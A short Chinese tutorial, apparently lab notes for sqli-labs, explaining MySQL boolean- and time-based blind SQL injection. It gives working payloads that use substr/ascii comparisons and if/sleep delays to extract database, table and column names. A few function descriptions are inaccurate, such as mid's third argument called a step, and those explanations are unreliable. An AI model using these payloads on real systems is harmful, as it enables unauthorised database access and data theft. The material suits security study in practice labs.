关于MySQL中盲注大概分为布尔型盲注,时间型盲注
主要会用到一下MySQL函数
在这里插入代码片
ord()转换为整形数值
mid("字符串",1,3)表示提取一个字符串中第一个字符,而且步长为3
limit(0,1)第一个参数指定第一个返回记录行的偏移量,第二个表示返回记录行的最大值
substr()表示把某个字符串提取出来
ascii()将变量变化为ascii转换数值
left()
//取出字符串左边的几个数据
left(abc,1) 返回a
left(abc,2) 返回ab
right()
//取出右边的几个数据
right(abc,1) 返回c
right(abc,2) 返回bc
sleep()表示显示一个页面延时多少可以自己定义
group_concat将所有列的数据输出
/?id=1'and ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>110
//判断数据库名字字母
//改变后面数值大小得到
判断具体数值以后根据ASCII表可以得到对应的字母
从而判断数据库名字,表名字一致方法
and ascii(substr((select column_name from information_schema.columns where table_schema="security"and table_name="users" limit 0,1),1,1))%20%3E1--+通过比较确定数值判断字母
由于过程比较繁琐可以利用python中的爬虫得到
脚本文件:见下一页csdn
关于时间型盲注
由于web页面不显示对错,所以只能依靠if()和sleep()语句判断网页打开延时从而判断是否可以注入
构造判断语句
id=1' and if(1=2,1, sleep(10)) --+
id=1" and if(1=2,1, sleep(10)) --+
id=1) and if(1=2,1, sleep(10)) --+
构造暴库语句
http://192.168.1.128/sqli-labs-master/Less-10/?id=1%22%20and%20if(length(database())%3E7,sleep(5),1)%20--+
//增加1值来猜库名的长度
id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+
//库名
id 1’ and if((ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = 'your database'limit 0,1),1,1)) > 100),sleep(4),0 )--+
//表名